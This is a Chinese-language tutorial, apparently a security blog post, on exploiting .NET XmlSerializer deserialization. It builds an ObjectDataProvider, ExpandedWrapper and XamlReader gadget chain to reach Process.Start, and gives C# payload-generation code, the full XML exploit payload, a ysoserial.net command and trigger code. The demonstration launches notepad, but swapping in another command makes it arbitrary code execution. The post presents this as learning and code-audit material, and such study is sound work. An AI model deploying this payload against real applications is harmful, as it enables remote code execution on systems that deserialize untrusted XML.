0x00 简介
反序列化学习主要用到如下资料:
1..NET反序列化payload生成工具ysoserial.net。
2.attacking-net-serialization其中列举了多种反序列化漏洞。

3.BH_US_12_Forshaw_Are_You_My_Type_WP.pdf
0x01 XmlSerializer序列化
System.Xml.Serialization.XmlSerializer类他可以将对象序列化到XML文档中和从XML文档中反序列化对象,在这个过程中构造XmlSerializer对象期间需要指定它将处理的类型XmlSerializer(Type)传入的Type也就是我们的重点关注对象,因为Type类,是用来包含类型的特性。类型信息包含数据,属性和方法等信息。如果我们传入一个特定的payload那么我们就可以调用他的方法了。
首先我们先熟悉一下XmlSerializer的序列化
code:1.0
- namespace XmlSerializers
- {
- class Program
- {
- static void Main(string[] args)
- {
- test fof = new test();
- fof.id = "404s";
- XmlSerializer xmlFormatter = new XmlSerializer(typeof(test));
- using (Stream stream = new FileStream("404.xml", FileMode.Create, FileAccess.Write, FileShare.None))
- {
- xmlFormatter.Serialize(stream, fof);
- }
- }
- }
- [XmlRoot("test")]
- public class test
- {
- string _id = "404";
- [XmlElement]
- public string id {
- get { return _id; }
- set
- {
- _id = value;
- }
- }
- }
- }
其中[XmlRoot("test")]指定的元素将被序列化成xml的根元素,[XmlElement]为指定类的公共域或读/写属性,具体可以参考.net序列化及反序列化。
404.xml
- <?xml version="1.0"?>
- <test xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
- <id>404s</id>
- </test>
如果我们把这段代码换成如下:
code:1.1
- namespace XmlSerializers
- {
- class Program
- {
- static void Main(string[] args)
- {
- ExecCMD fof = new ExecCMD();
- fof.cmd = "cmd";
- XmlSerializer xmlFormatter = new XmlSerializer(typeof(ExecCMD));
- using (Stream stream = new FileStream("404.xml", FileMode.Create, FileAccess.Write, FileShare.None))
- {
- xmlFormatter.Serialize(stream, fof);
- }
- }
- }
- [XmlRoot("ExecCMD")]
- public class ExecCMD
- {
- private String _cmd = "notepad";
- [XmlElement]
- public String cmd
- {
- get { return _cmd; }
- set
- {
- _cmd = value;
- ExecCommand();
- }
- }
- private void ExecCommand()
- {
- Process myProcess = new Process();
- myProcess.StartInfo.FileName = _cmd;
- myProcess.Start();
- myProcess.Dispose();
- }
- }
- }
程序本意是调用notepad.exe,我们在序列化的过程中把_cmd的值改成cmd 然后序列化/反序列化他将调用CMD.EXE,当然实际是基本遇不到这种情况的。
404.xml
- <?xml version="1.0"?>
- <ExecCMD xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
- <cmd>cmd</cmd>
- </ExecCMD>
0x01 XmlSerializer反序列化
前面说过构造XmlSerializer对象期间需要指定它将处理的类型XmlSerializer(Type),获取Type有一般有有3种方式:a.使用typeof运算符 b.使用GetType()方法 c.使用Type类的静态方法GetType()。
1.1 typeof运算符
我们把code:1.1中的Main函数换成如下
- static void Main(string[] args)
- {
-
- using (StringReader rdr = new StringReader("1.0\" encoding=\"gb2312\"?>
http://www.w3.org/2001/XMLSchema-instance\" xmlns:xsd=\"http://www.w3.org/2001/XMLSchema\"> cmd.exe ")) - {
- ExecCMD execCMD;
- XmlSerializer serializer = new XmlSerializer(typeof(ExecCMD));
- execCMD = (ExecCMD)serializer.Deserialize(rdr);
- Console.WriteLine(execCMD.cmd);
- Console.WriteLine(typeof(ExecCMD));
- }
- }
其中传入的XML就是code:1.1生成的404.xml运行程序看到如下:

1.2 GetType()方法
GetType()是基类System.Object的方法,因此只有建立一个实例之后才能够被调用

1.3 Type类的静态方法GetType(string)
相比前面的2种方法,Type.GetType(string) 允许传入自定义字符串,那么灵活性更高。

至此我们的利用链应该是:

这种方式还是比较被动,我们是否可以执行任意类的任意方法,这样我们的利用过程就更为主动,这里就要引入ObjectDataProvider类。
0x02 寻找利用链
2.0 ObjectDataProvider
ObjectDataProvider用于包装和创建可以用作绑定源的对象,听起来比较抽象,可以理解为可以调用一个方法,并且传入参数。
code 2.0
- public static void test()
- {
- ObjectDataProvider objectDataProvider = new ObjectDataProvider();
- objectDataProvider.ObjectInstance = new MyClasss();
- objectDataProvider.MethodName = "PullFile";
- objectDataProvider.MethodParameters.Add("cmd");
- XmlSerializer serializer1 = new XmlSerializer(typeof(ObjectDataProvider), new Type[] { typeof(MyClasss) });
-
- TextWriter textWriter = new StreamWriter(@"data.xml");
- serializer1.Serialize(textWriter, objectDataProvider);
- }
- public class MyClasss
- {
-
-
- public void PullFile(string _cmd)
- {
- Process myProcess = new Process();
- myProcess.StartInfo.FileName = _cmd;
- myProcess.Start();
- myProcess.Dispose();
- }
-
- }

但是这样生产会报错,原因好像是XmlSerializer 序列化只会找他的基类,所以objectDataProvider.ObjectInstance = new MyClasss();这里就没办法找到,要解决这个问题可以用XmlSerializer(Type, Type[]) 或者用ExpandedWrapper预加载实体
2.0.1 XmlSerializer(Type, Type[])
code 2.1
- ObjectDataProvider objectDataProvider = new ObjectDataProvider();
- objectDataProvider.ObjectInstance = new MyClasss();
- objectDataProvider.MethodName = "PullFile";
- objectDataProvider.MethodParameters.Add("cmd");
- XmlSerializer serializer1 = new XmlSerializer(typeof(ObjectDataProvider), new Type[] { typeof(MyClasss) });
-
- TextWriter textWriter = new StreamWriter(@"data.xml");
- serializer1.Serialize(textWriter, objectDataProvider);
data.xml
- <?xml version="1.0" encoding="utf-8"?>
- <ObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
- <ObjectInstance xsi:type="MyClasss" />
- <MethodName>PullFile</MethodName>
- <MethodParameters>
- <anyType xsi:type="xsd:string">cmd</anyType>
- </MethodParameters>
- </ObjectDataProvider>
2.0.2 ExpandedWrapper预加载实体
code 2.2
- ExpandedWrapper<MyClasss, ObjectDataProvider> myExpWrap = new ExpandedWrapper<MyClasss, ObjectDataProvider>();
- myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
- myExpWrap.ProjectedProperty0.ObjectInstance = new MyClasss();
- myExpWrap.ProjectedProperty0.MethodName = "PullFile";
- myExpWrap.ProjectedProperty0.MethodParameters.Add("cmd.exe");
- XmlSerializer serializer1 = new XmlSerializer(typeof(ExpandedWrapper<MyClasss, ObjectDataProvider>));
- TextWriter textWriter = new StreamWriter(@"data.xml");
- serializer1.Serialize(textWriter, myExpWrap);
data.xml
- <?xml version="1.0" encoding="utf-8"?>
- <ExpandedWrapperOfMyClasssObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
- <ProjectedProperty0>
- <ObjectInstance xsi:type="MyClasss" />
- <MethodName>PullFile</MethodName>
- <MethodParameters>
- <anyType xsi:type="xsd:string">cmd.exe</anyType>
- </MethodParameters>
- </ProjectedProperty0>
- </ExpandedWrapperOfMyClasssObjectDataProvider>
反序列化触发:

至此我们已经可以使用ObjectDataProvider 调用引用类文件的方法了。但是MyClasss类也是我们自己设计的,在实际环境中可能还是不存在这种理想化模型,由于ObjectDataProvider可以调用Process.Start,但是不能直接序列化,所以我们需要找到一个途径来间接调用Process.Start。

2.1 XamlReader
XamlReader他有一个方法Parse(String) 是传入一个字符串,返回根对象,那么我们用ObjectDataProvider构造传参一个XAML,同时XAML的ObjectDataProvider调用Process.Start那么利用链就成功了。
2.2 ResourceDictionary
要生成XAML还需要引用ResourceDictionary类。
2.3 生成payload
code 2.3
- public static void xaml_data()
- {
- ObjectDataProvider objectDataProvider = new ObjectDataProvider();
- objectDataProvider.ObjectType = typeof(System.Diagnostics.Process);
- objectDataProvider.MethodParameters.Add("notepad.exe");
- objectDataProvider.MethodName = "Start";
- ResourceDictionary R_xaml = new ResourceDictionary();
- R_xaml.Add("test", objectDataProvider);
- string xaml_data;
- using (MemoryStream stream = new MemoryStream())
- {
-
- XamlServices.Save(stream, objectDataProvider);
- stream.Position = 0;
- StreamReader reader = new StreamReader(stream);
- xaml_data = reader.ReadToEnd();
- stream.Close();
- }
-
- Console.WriteLine(xaml_data);
- }
-
- public static void xml_payload()
- {
- ExpandedWrapper<System.Windows.Markup.XamlReader, ObjectDataProvider> myExpWrap = new ExpandedWrapper<System.Windows.Markup.XamlReader, ObjectDataProvider>();
- myExpWrap.ProjectedProperty0 = new ObjectDataProvider();
- myExpWrap.ProjectedProperty0.ObjectInstance = new System.Windows.Markup.XamlReader();
- myExpWrap.ProjectedProperty0.MethodName = "Parse";
- myExpWrap.ProjectedProperty0.MethodParameters.Add(xaml_data());
-
- using (MemoryStream stream = new MemoryStream())
- {
- XmlSerializer xml = new XmlSerializer(typeof(ExpandedWrapper<System.Windows.Markup.XamlReader, ObjectDataProvider>));
- xml.Serialize(stream, myExpWrap);
- stream.Position = 0;
- StreamReader reader = new StreamReader(stream);
- Console.WriteLine(reader.ReadToEnd());
- Console.WriteLine(typeof(ExpandedWrapper<System.Windows.Markup.XamlReader, ObjectDataProvider>).AssemblyQualifiedName);
- }
-
- }
xaml_data() 生成XamlReader()调用的xaml文件,ObjectDataProvider调用XamlReader()传参xaml整个利用链的payload就完成了, typeof(ExpandedWrapper是获取程序集限定名,用于传入Type。
exp.xml
- <?xml version="1.0"?>
- <ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
- <ProjectedProperty0>
- <ObjectInstance xsi:type="XamlReader" />
- <MethodName>Parse</MethodName>
- <MethodParameters>
- <anyType xsi:type="xsd:string"><ObjectDataProvider MethodName="Start" ObjectType="sd:Process" xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:sd="clr-namespace:System.Diagnostics;assembly=System" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml">
- <ObjectDataProvider.MethodParameters>
- <x:String>notepad.exe</x:String>
- </ObjectDataProvider.MethodParameters>
- </ObjectDataProvider></anyType>
- </MethodParameters>
- </ProjectedProperty0>
- </ExpandedWrapperOfXamlReaderObjectDataProvider>
注:使用XamlReader等需要引用对应的模块
2.4 复现
code 2.4 反序列化
- using (StringReader rdr = new StringReader("payload"))
- {
- XmlSerializer serializer = new XmlSerializer(Type.GetType("System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"));
- serializer.Deserialize(rdr);
- }

2.5 ysoserial.net
以上其实是ysoserial.net生成的payload反推。
ysoserial.exe -f XmlSerializer -g ObjectDataProvider -c "notepad.exe" -o raw
- <?xml version="1.0"?>
- <root xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" type="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089">
- <ExpandedWrapperOfXamlReaderObjectDataProvider>
- <ExpandedElement/>
- <ProjectedProperty0>
- <MethodName>Parse</MethodName>
- <MethodParameters>
- <anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string">
- <ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:System="clr-namespace:System;assembly=mscorlib" xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
- <ObjectDataProvider x:Key="LaunchCmd" ObjectType="{x:Type Diag:Process}" MethodName="Start">
- <ObjectDataProvider.MethodParameters>
- <System:String>cmd</System:String>
- <System:String>/c notepad.exe</System:String>
- </ObjectDataProvider.MethodParameters>
- </ObjectDataProvider>
- </ResourceDictionary>
- </anyType>
- </MethodParameters>
- <ObjectInstance xsi:type="XamlReader"></ObjectInstance>
- </ProjectedProperty0>
- </ExpandedWrapperOfXamlReaderObjectDataProvider>
- </root>
这里把payload分成2部分使用
Type
System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
XML
- <ExpandedWrapperOfXamlReaderObjectDataProvider xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
- <ExpandedElement/>
- <ProjectedProperty0>
- <MethodName>Parse</MethodName>
- <MethodParameters>
- <anyType xsi:type="xsd:string">
- <ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:System="clr-namespace:System;assembly=mscorlib" xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system">
- <ObjectDataProvider x:Key="LaunchCmd" ObjectType="{x:Type Diag:Process}" MethodName="Start">
- <ObjectDataProvider.MethodParameters>
- <System:String>cmd</System:String>
- <System:String>/c notepad.exe</System:String>
- </ObjectDataProvider.MethodParameters>
- </ObjectDataProvider>
- </ResourceDictionary>
- </anyType>
- </MethodParameters>
- <ObjectInstance xsi:type="XamlReader"></ObjectInstance>
- </ProjectedProperty0>
- </ExpandedWrapperOfXamlReaderObjectDataProvider>
这里位于anyType的xmlns:xsi如果按照生成的payload使用会造成xsi是未声明的前缀,所以这里我把他提前到ExpandedWrapperOfXamlReaderObjectDataProvider 。
0x03 总结
.NET反序列化的攻击链还是比较难找。审计的话就看type 和 xml 这2个值是否可控。
文章如有错误,多多提醒,万分感谢
参考文章:
《.NET高级代码审计(第一课)XmlSerializer反序列化漏洞》

点击关注,共同学习!安全狗的自我修养
